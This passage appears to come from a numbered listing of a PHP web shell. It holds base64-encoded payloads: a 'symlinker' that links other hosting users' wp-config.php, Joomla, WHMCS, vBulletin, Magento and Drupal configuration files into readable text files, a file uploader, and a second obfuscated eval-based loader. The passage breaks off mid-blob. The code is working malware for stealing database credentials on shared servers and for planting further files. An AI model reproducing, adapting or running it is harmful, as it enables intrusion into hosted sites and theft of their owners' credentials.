BUFBFTkQpOw0KICAgICRwYXNzd2QgPSAkX1BPU1RbInBhc3N3ZCJdOw0KICAgICRwYXNzd2QgPSBleHBsb2RlKCINCiIsICRwYXNzd2QpOw0KICAgIGZvcmVhY2ggKCRwYXNzd2QgYXMgJHB3ZCkgew0KICAgICAgICAkcGF3ZCA9IGV4cGxvZGUoIjoiLCAkcHdkKTsNCiAgICAgICAgJHVzZXIgPSAkcGF3ZFswXTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXdwLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy1XUC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdvcmRwcmVzcy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJldGEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLXByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3Mtd29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtV29yZHByZXNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13b3JkcHJlc3MtbmV3cy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd29yZHByZXNzLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2cudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1iZXRhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2dzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZGIucGhwJywgJHVzZXIgLiAnLWRiY29uZi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLXNpdGUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13cC10ZXN0LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1wcm90YWwudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb28udHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtY21zLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1zaXRlLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1tYWluLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1uZXdzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ldy50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtaG9tZS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobTE1LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jZW50cmFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS1jZW50cmFsLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLXdobWNzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htLVdITUNTLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy13aG1jLVdITS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctd2htY3MudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctc3VwcG9ydC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgJHVzZXIgLiAnLXdobWNzMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLXdobS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTQudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLVdobTUudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctV2htNi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG03LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG04LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1XaG05LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsICR1c2VyIC4gJy01LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fQ2FydC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywgJHVzZXIgLiAnLWludmlzaW8udHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywgJHVzZXIgLiAnLTcudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywgJHVzZXIgLiAnLTgudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywgJHVzZXIgLiAnLW1rLXBvcnRhbGUxLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCAkdXNlciAuICctMTIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsICR1c2VyIC4gJy1TbWYudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctdkJ1bGxldGluMS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW4yLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZCdWwzLVBocGJiMi50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsICR1c2VyIC4gJy12QnVsbGV0aW40LnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsICR1c2VyIC4gJy1teWJiLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywgJHVzZXIgLiAnLUNvbmZpZy1QaHBiYjEudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCAkdXNlciAuICctcGhwYmIzLnR4dCcpOw0KICAgICAgICBAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9vcGVuY2FydC9hZG1pbi9jb25maWcucGhwJywgJHVzZXIgLiAnLU9wZW5fY2FydDIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FwcC9ldGMvY29uZmlnLnhtbCcsICR1c2VyIC4gJy1NYWdlbnRvMS50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCAkdXNlciAuICctTWFnZW50bzIudHh0Jyk7DQogICAgICAgIEBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCiAgICAgICAgQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZHJ1cGFsL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywgJHVzZXIgLiAnLURydXBhbC50eHQnKTsNCiAgICB9DQogICAgZWNobyAnPGIgY2xhc3M9ImNvbmUiPjxmb250IGZhY2U9IlRhaG9tYSIgY29sb3I9Ikxhd25HcmVlbiIgc2l6ZT0iMnB0Ij48Yj5Db25ncmF0dWxhdGlvbiA9PT4+IDwvYj4gPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IkFrRGsiPjxmb250IGNvbG9yPSJMYXduR3JlZW4iIHNpemU9IjJwdCI+Q29uZmlnIGxpc3Q8L2E+PC9mb250PjwvYj4nOw0KfQ0KZWNobyAnPGJyPjxicj48YnI+PGJyPic7DQplY2hvICcqKlsgVXBsb2FkZXIgXSoqJzsNCmVjaG8gJzxicj48YnI+JzsNCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmICgkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIikgew0KICAgIGlmIChAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgew0KICAgICAgICBlY2hvICc8Yj48Zm9udCBjb2xvcj0iTGF3bkdyZWVuIj5VcGxvYWQgU3VjY2Vzc2Z1bGx5ISEhIDwvZm9udD48L2I+PGJyPjxicj4nOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJzxiPjxmb250IGNvbG9yPSJyZWQiPlVwbG9hZCBGYWlsZWQhISEgPC9iPjxicj48L2ZvbnQ+JzsNCiAgICB9DQp9DQo/Pjxicj48YnI+DQo8ZGl2IGlkPSJuYW1lIj4mY29weTsgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0FrRGsxMjMiIHRhcmdldD0iX2JsYW5rIj5Qcm9Ccm8nczwvYT4uIENvZGVkICYgTW9kaWZpZWQgQnkgPGEgaHJlZj0iaHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0FrRGsxMjMiIHRhcmdldD0iX2JsYW5rIj5CbGFjayBTQ29ycGlvbjwvYT4gJiA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vcHJvYnJvc3giIHRhcmdldD0iX2JsYW5rIj4hISEhPC9hPjwvZGl2Pg0KPC9ib2R5PjwvaHRtbD4=
  1994. ";
  1995. $lalala = @fopen("symlinker.php", "w");
  1996. @fwrite($lalala, base64_decode($php_symlinker));
  1997. @fclose($lalala);
  1998. header("Location:symlinker.php");
  1999. }
  2000. if (isset($_POST['cpc1'])) {
  2001. $cpc_c = "PD9waHAgLy8gVGhpcyBmaWxlIGlzIHByb3RlY3RlZCBieSBjb3B5cmlnaHQgbGF3IGFuZCBwcm92aWRlZCB1bmRlciBsaWNlbnNlLiBSZXZlcnNlIGVuZ2luZWVyaW5nIG9mIHRoaXMgZmlsZSBpcyBzdHJpY3RseSBwcm9oaWJpdGVkLg0KJE9PTzBPME8wMD1fX0ZJTEVfXzskTzAwTzAwTzAwPV9fTElORV9fOyRPTzAwTzAwMDA9NDg5NjA7ZXZhbCgoYmFzZTY0X2RlY29kZSgnSkU4d01EQlBNRTh3TUQxbWIzQmxiaWdrVDA5UE1FOHdUekF3TENkeVlpY3BPM2RvYVd4bEtDMHRKRTh3TUU4d01FOHdNQ2xtWjJWMGN5Z2tUekF3TUU4d1R6QXdMREV3TWpRcE8yWm5aWFJ6S0NSUE1EQXdUekJQTURBc05EQTVOaWs3SkU5UE1EQlBNREJQTUQwb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKMGNpaG1jbVZoWkNna1R6QXdNRTh3VHpBd0xETTNNaWtzSjBWdWRHVnllVzkxZDJ0b1VraFpTMDVYVDFWVVFXRkNZa05qUkdSR1prZG5TV2xLYWt4c1RXMVFjRkZ4VTNOV2RsaDRXbm93TVRJek5EVTJOemc1S3k4OUp5d25RVUpEUkVWR1IwaEpTa3RNVFU1UFVGRlNVMVJWVmxkWVdWcGhZbU5rWldabmFHbHFhMnh0Ym05d2NYSnpkSFYyZDNoNWVqQXhNak0wTlRZM09Ea3JMeWNwS1NrN1pYWmhiQ2drVDA4d01FOHdNRTh3S1RzPScpKSk7cmV0dXJuOz8+DQprcjlOSGVuTkhlbk5IZTFsRk1hbWIza2xGb3hpQzJBUGsxOWdPTGxIT2E5Z2taWEprWndWa3I5TlR6bk5IcjhYSHQ0Smtad1Nob2tpRjJBMll5OUxjQll2Y29BUEYzT1pmdXdQY21rbENCV1BrcjhYSGVuTkhyOFhIdFhMVDA4WEhyOFhIZUVYaFVYbU9CNTBjYms1ZDNhM0QyaVVVeWxSVGxmTmFhT25DQWtKVzJZcmNyY01PMmZrREFwUVRveFlkYW5YQWJ5VEYxYzJCdWlER2pFeEhqSDBZVEMzS2VMcVJ6MG1SdGZuV0xZck9BY3VVcmxoVTB4WVRMOVdBYWtUYXlhQmExaWNCTXlKQzJPbGNNZlBEQnBxZG8xVmQzbnhGbVkwZmJjM0d1bDZIZXJaSHpXMVlqRjRLVVN2a1pMcGhVTDdjTVlTZDNZbGh0T05IZUVYVHpuTkhlRXBLMmEyQ0JYUGtyOU5IZW5OSGVuTkh0TDdjQllQZFpFbU5vaTBkQlgrZVdQOGZvbDBkb0ErQzFuaWRNYVN3cmtaZmJPbGNNOVpDMkFJQ21MSVRCeVZBM2xxSDNQOFIzT3Bmb3hsTkkwaE5vMWxmb3JJRHVPMEZ0MWxGYmFwZmowSlcyOVZmb2FWZnQxQUdibmx3Sm5qZDI1MGNCNTBOVWswY2JpMFIyaTBkQlg3d29ZUENia3pjYlc5ZmJPTVJUSUp3dDgrZVdQbUtYMGhXdVlsZnk5MERCMWxiMnhwZEJsMGhlRXBLWDBoV29hWkZNOVpiM2tsRm85WmZvbFZjWklYaFRTWXRNYWpEbzhJa3p4UGNCeUxOSTBoZVdQOEYzTzVkb0FJZnVsWGNUMEpmb2E0ZnQ5akYzSEpOSTBoTnRyc1JXMGhDTTlMR1VuN2VXUGtDTXlqRDJmWmQzYVZjdDFqZDJ4dkZqUEl3ekVYSGVFWEhlU1l0SkVJd3RuTWQyNTBSYllwR01BNndlcjRGdUk3ZVdQa0MyOVNkM3c2d3RZakhvSFhDekU3ZVdwOWVXcHBkbW4xZnR4MGNiaTBDYmtsQ1V4emNCeGxDM083ZVdwTWQyNTBSYmZsREJmUGZlUElDTTlTY2VTWXRNWXZkbzlaS0pFakN6bmpIb0hYS1gwaGNveXpEb2FMd3RZTWNNY01jTUM3ZVdwSmQza0xjYnc2d2V5WEdFMGhGMjlTREJXSXd6a2VITEhaV3pTWXRNa2lDMnNtRk05MWRNV3NDMjlTZDN3Nnd0SFhLZUU0SGVJWXRtMFl0TXJJR1gwaHRCa2lDMnNtRk05MWRNV3NDMjlTZDN3Nnd0SHhZVHIxSFRBN2VXUGtmTWFaZm9sakNCWHNDQnhwYzI0Nndva3ZmdU92ZFRTWXRJbGpkMnh2RmpQSXd6RVhIZVNZdElsMGNiaTBSQk9sQzI5WkNiT3BkMjQ2d281dmRNQTdlV1BrY005VmZ0MXpEYnBsS0pFWkh1bjRLWDBodEIxaUZNZnBkalBJS3VuNEtYMGh0Ym5pY29PcGRNRjZ3ZWNYR2VTWXRJbEpkM2tMY2J3Nnd1T1BEQjRJRjI5U0RCV0l3ekVYSGVTWXRtMFl0TXI2RG85MmNid0lHWDBodEJraUMyc21GTTkxZE1Xc0MyOVNkM3c2d3RIWEtlRTRIZUk3ZVdQa2ZNYVpmb2xqQ0JYc0NCeHBjMjQ2d29rdmZ1T3ZkVFNZdElsamQyeHZGalBJd3pIekh6U1l0SWwwY2JpMFJCT2xDMjlaQ2JPcGQyNDZ3bzV2ZE1BN2VXUGtjTTlWZnQxekRicGxLSkVaSHVuNEtYMGh0QjFpRk1mcGRqUElLdW40S1gwaHRibmljb09wZE1GNndlY1hHZVNZdElsSmQza0xjYnc2d3VPUERCNElGMjlTREJXSXd6RVhIZVNZdG0wWXRKNXpmdWxTY1RySUdYMGh0Yk9sR3VXc0NCeHBjMjQ2d29ZbGRtT2xGalNZdG0wWXRKNXpmdWxTY1R3SUdYMGh0Qll2ZG85WktKRWpPTGNvT0xjb0tYMGh0QmN2ZG1Xc2YyYXBjMmkwS0puSmQyeExLWDBoZ1cwaFJtWTBHQnhsSFpuN2VXUGtDMjlTZDN3Nnd0WW9PTGNvT0xDN2VXcDllV1BzUlQ0WXRqWHZGM081ZG9BK2VXUFl0alh2RG9haWNlNFl0SkY3ZVdwcGNKSUxiMW5OQTFPZGszbmljMkFtYlQwOWsyY3BkTVdtaFcwaEdYMGhEQkNQRGJZemNiV1BreTlXVDFZQUJaZjFGMmFaZE15c2NiSG1iVUxJa0pDSURiWXpjYldQa3k5V1QxWUFCWmZYQ2JZemYyOVpjdUhtYlVMcGVXcDdlV3BwY0pJTGIxbk5BMU9kazNPNUZvQW1iVUU5TlVFbUZveXpGM2ZMa1psN2VXUExjVUU5d29hNEZveHZjb0FQd2x4VndKWExiMW5OQTFPZGszYXpjYmtWQ0IxbEZaZmZoVFNZdE1jdkZNYWlDMklQa29BSUNiSElrdWNpZHVhbGhiU1l0Sk9xd2UwSWNiaVhkbzlMY1VJSktKd1NrdWNpZHVhbGhUU1l0Sk8xRjJhWmRNeXNjVUVWTlVFTEQxU21IdGZmUkp3SXdqU1l0bTBZdG0xbGR1WWxEQkNQa3k5V1QxWUFCWmYwR2JubGsxMElOVDBJazNZcGRiblNjVUZwR1gwaGt1YXpjYmtWQ0IxbHdlMElGM09aYjNrbEZveGlDMkFQd2x4VndKWG13dEZTa3k5V1QxWUFCWmYxRjJhWmRNeXNjYkhtYlVMN2VXcDllV1BMQ1RySU5VbmxHdW5TZDJPbGh0d0l3SlhMZmJZbEZNNWlkQkFwS1gwaGtvclp3ZTBJY2JpWGRvOUxjVUlKYm80SlJ0T2dBcjlUYXlTbUZveXpGM2Z2Rk1PemsxMHBLWDBoa29sTEhKRTl3b1l2ZkI1MGh0T2lISkw3ZVdQTGQyU0lOVUVYS1gwaGNNOVpjQnlqRHRJTENUcklDYkhJa3VhemNid0loVzBoR1gwaERCQ1BrdWF6Y2J3SXdUMDl3dEZtaFcwaEdYMGhrdWF6Y2J3OWZ1a3BkVUlMZmJZbEZKTDdlV3BNZDN3UGtvTDlIZVNMRFRYOWtvbExIalNMRFVTcWhXMGhHWDBoa3VuaUYzSElOVW4wRk1sc2h0T2lIbFNMRGEwcEtYMGhEQkNQV28xNUYzeVNiMll2ZE01bEMzV1BrMnh2QzJ5U0RvOXpmdEZTa3VhemNid1NrdW5pRjNIcGhXMGhHWDBoY0JZUGRaRUpUQnlWQTNscUgzcCt3dWF6Y2J3SURiSEloZXhKTmp4TWQyNTB3b1l2ZG85Wk5CZlpjQmFWTkpPMUYyYVpOdDlNZDI1ME5qWHZDajRwd3luaUYzWTNkM2tMd29send0SThDajQ4Y005VmZ0bmpkMnh2RmoxbUZNYWxkajRMRm95ekZ6WHZjTTlWZmU0OFIydytoVHhKRkpFdk5KdzdlV1BMZDJTcWh6U1l0bTBZdG0wWXRtMFl0bTBZdE1hakRvOEl3anhQRmo0OENqNWNkM0FJT005MWRNV0lOb2N2ZG1XSUMyOVNkM3c5YzNrbGNCNCtrbzlxTnQ5TWQyNTBOSm5lRm95VmNCWElDbUxJVEJ5VkEzbHFIM1A4UjJ3K3dqU1l0TWFqRG84SXdqeGpjQjUwY2J3K05vdytOb3JJRHVrbGNqMEpSSk9nQTBhVWFMYVVCWmZXVXluZ0EwYUhPSmZmUkp3K1dMeWVVelh2Q1Q0SktYMGhjYmlwZmVTWXRtMFl0bTBZdE1sTWh0T2dBcjlUYXlTbUZveXpGWmZmTlQwbUZveXpGM2Z2Rk1XbWhiU1l0TG5sRm1rdkZsOVpjYm52Rm1PcGRNRlBIdEw3ZVdQTERVRTl3b2ZsZm9hVmZKSW1BTGFZVDFPeWIweXJPeXdtaFRTWXRKT0x3ZTBJY295MGNVSW1PdFhJVFVuUUFaWElCVW53S01MbVJ1T3BkQkFQaFVMN2VXUExEdEU5d3RPZ0EwYVVhTGFVQlpmd2F5T1diMGlOQTFXbWJUU1l0Sk9MRGJ3OWt5OVRPYWtCT2FrZGsxbndBeTlUT0F4b2sxMDdlV1BMQ015akRaRTl3dGtXT2VsM0NBaW5UTFlzYU1waU96aW1VbXA0ZEJ3elVtT2tPMGNRY3JmU2ZNa1FIb2xrREFrMEJsaVVkMndaQVRsa2RMazJDellPREFsdWFtYWNIMXcxQzBmYUtBbHNIVHlKVXlrWEMwZm9HQk9lS0IxSkgwcDBUeWZVRG9PdU9CbGtPemFQQ2xmYUtBbFZhbWZKT3psUEJMZkJHQWxwV21uRE9lbnBjeWl0RjJ3Wk9Nc0RCcmxwQW9salkwT09Gb3hjSE1pMlVBWWpLb3liWWJmTEJ5eW1jcmlTZjFwQUhvbERkQnh6QmxZa2Mya3NPbU9EYWVucEJNMVNGMXBUVUJmakhNWDJCbFdYREE1QVdCbFdEbWlYQ001dEhCT2VXbWFjYXp5U0F5WWhjTU9DV21Za0RBd1hjYWl0ZHluVFVtcExhMHAwQ2FpT0RBbHVkb3NXQTBwTWN5aXRGMGxwV2prY2EzSXhCbFdYRGFjQ1dtWUpITGNxVUJQMEtyWFpCbWNqZFRFcVVtcHpUTFlzZG8xUlcweXFCZXl0QXlBeEFNa2hIVEx4QzBmM2RsaVRXVGxXQTB5cGFs